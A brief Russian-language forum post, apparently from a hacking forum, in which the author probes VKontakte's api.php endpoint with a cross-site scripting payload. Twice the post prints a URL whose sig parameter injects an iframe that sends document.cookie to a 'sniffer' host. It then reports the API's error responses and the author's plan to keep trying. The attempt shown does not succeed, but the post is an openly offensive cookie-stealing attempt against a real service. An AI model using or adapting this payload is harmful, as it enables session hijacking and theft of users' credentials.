короче я сдесь чето помудился, зашол на api.vkontakte.ru/api.php
открыл исходник и что же там написано ? а написано там

<?xml version="1.0" encoding="utf-8"?>
<error>Invalid application API ID</error>

к нашему скрипту

http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.hr ef='http://sniffer?'%2Bdocument.cookie>&format=JSON

там где v=2.0 я поменял на v=1.0

тоесть получился

http://api.vkontakte.ru/api.php?v=1.0&sig=<iframe+src=.+onload=location.hr ef='http://sniffer?'%2Bdocument.cookie>&format=JSON

теперь пишит

{"error":"Invalid application API ID"}

теперь потрепаюсь над этим может что нибудт и получиться......